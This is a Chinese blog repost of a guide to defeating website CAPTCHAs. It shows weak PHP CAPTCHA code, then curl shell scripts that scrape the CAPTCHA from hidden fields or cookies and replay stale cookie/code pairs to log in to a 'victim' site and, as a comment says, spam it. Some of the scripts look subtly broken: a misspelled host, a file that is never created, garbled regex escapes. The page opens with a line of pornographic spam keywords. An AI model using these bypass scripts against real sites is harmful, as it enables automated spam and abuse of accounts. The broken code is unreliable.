日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

网站验证码破解功略

發布時間:2024/1/18 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 网站验证码破解功略 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

所謂驗證碼,就是將一串隨機產生的數字或符號,生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶肉眼識別其中的驗證碼信息,

輸入表單提交網站驗證,驗證成功后才能使用某項功能。不少網站為了防止用戶利用機器人自動注冊、登錄、灌水,都采用了 驗證碼技術。

很多驗證碼實現都有問題。比如直接給出用驗證碼在網頁和cookies中。

驗證碼在網頁中的例子:
代碼

<?


? /*


? * ? Filename: authpage.php


? * ? Author: ? hutuworm


? * ? Date: ? 2003-04-28


? * ? @Copyleft hutuworm.org


? */





? ? srand((double)microtime()*1000000);





? ? //驗證用戶輸入是否和驗證碼一致


? ? if(isset($HTTP_POST_VARS['authinput']))


? ? {


? ? ? ? ? if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)


? ? ? ? ? ? ? ? echo "驗證成功!";


? ? ? ? ? else


? ? ? ? ? ? ? ? echo "驗證失敗!";


? ? }


?


? ? //生成新的四位整數驗證碼


? ? while(($authnum=rand()%10000)<1000);


? ?>


? ? <form action=authpage.php method=post>


? ? <table>


? ? ? ? ? 請輸入驗證碼:<input type=text name=authinput style="width: 80px"><br>


? ? ? ? ? <input type=submit name="驗證" value="提交驗證碼">


? ? ? ? ? <input type=hidden name=authnum value=<? echo $authnum; ?>>


? ? ? ? ? <img src=authimg.php?authnum=<? echo $authnum; ?>>


? ? </table>
??? </form>

代碼

#!/bin/sh

curl
http://www.vicitm.org/authpage.php

authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]/{4/}>' grep.txt | sed -e 's/[^0-9]//g'` #得到網頁中的

authnum

curl
http://www.vicitm.org/authpage.php -d name=hacker -d submit="驗證" -d authnum=$authnum

驗證碼直接存儲在網頁中,使用cURL就能簡單的破掉。
代碼

session_register("authnum");

$authnum = strval(rand("1111","9999"));

setcookie("authnum",$authnum);

...

<input type=text name=authnum maxlength=4><img src=get_code.php>

...

if($number != $login_check_number || empty($number))

{

? print("校驗碼不正確!");

? die();

}

驗證碼在cookie中的例子:
此類驗證程序將驗證碼存儲到用戶cookies中,同樣十分脆弱。
#!/bin/sh
$username=hacker
$password=hackme
curl
http://www.vicitm.org/index.php -c common_cookie ? ? ? # 接受服務器的初始cookies
curl
http://www.vicitm.org/get_code.php -c $username.cook -b common_cookie # 得到驗證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl
http://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用

cookies中的驗證碼登陸

更高級的驗證碼。
?

有一類驗證碼比以上兩種驗證碼要高級一些,它使用如下算法:
1。服務器生成一個隨機hash。
2。使用某個算法(不可逆,破解難度高的)將hash轉化成為驗證碼數字,再轉化成圖片。
3。hash在cookie中被發送到客戶端
3。客戶以圖片輸入驗證碼,進行登錄。服務器檢查f(hash)=驗證碼。

特點:因為攻擊者不明白服務器所使用的算法,所以無法對服務器轉來的cookies進行解碼,生成圖片。

對付這種驗證碼,我們可以使用“過期cookies法”,方法即:保存服務器一次特定的cookies,將其對應驗證碼記下。在每次發送驗證消息時

,強行扔掉服務器傳來的cookies,使用這個已被使用過的cookies以及驗證碼。就好比,一張電話充值卡可以用多次一樣。

如:
先從服務器上下載一張驗證碼圖片:
curl http://www.victim.org/get_code.php -c cookie -o auth.png
人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗證碼)。

代碼



$savecookie=294b506f05f896dcbb3a0dde86a5e36c ?


$num=7701


$username=hacker


$password=hackme





curl
http://www.victim.org/index.php -c $username.cookie # 得到初始化cookies,以及session id


grep -v authhash $username.cookie > tmp.$username ? ? # 扔掉服務器給你的hash


echo "
www.victim.org ? FALSE ? / ? FALSE ? 0 ? hash ? $savecookie" >> tmp.$username # 強行使用過期hash 和驗證碼


mv tmp.$username $username.cookie


curl
http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d





authnum=$num # 使用過期驗證碼登陸。


#登陸成功,去瘋狂灌水。。。。。。





最高級的驗證碼。
它使用如下方法:
1。服務器通過用戶相關信息(IP,SID等等)生成一個隨機hash。
2。使用某個算法(不可逆,破解難度高的)將hash轉化成為驗證碼數字。
3。hash不再發送給客戶端。它被保存到本地數據庫(通常是SESSIONS,有關用戶IP等信息),并由一個序列號seq所指向。(這個seq也可以

是session id)
4。seq被作為cookies發送給客戶端。
5。客戶以圖片輸入驗證碼。
5。服務器驗證方法,服務器并不檢查f(hash)==驗證碼,而是去讀取數據庫中所期望中的驗證碼。。如果用戶輸入與期望所相同,就

成功驗證。有些服務器可能還會seq與session id之間的關系進行驗證。
6。一旦用戶進行了驗證操作或重新獲取驗證碼,而是直接將原來數據庫中的hash替換。

特點:
×過期:由于服務器只期望保存在當前數據庫中的驗證碼,所以無法使用“過期”的驗證碼(因為已被新驗證碼所替換)。
×高強度:只發送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數。

弱點:OCR(光學識別) seq劫持 “驗證碼”DOS(對某些seq進行反復請求,導致某些用戶無法正常驗證)

總結

以上是生活随笔為你收集整理的网站验证码破解功略的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。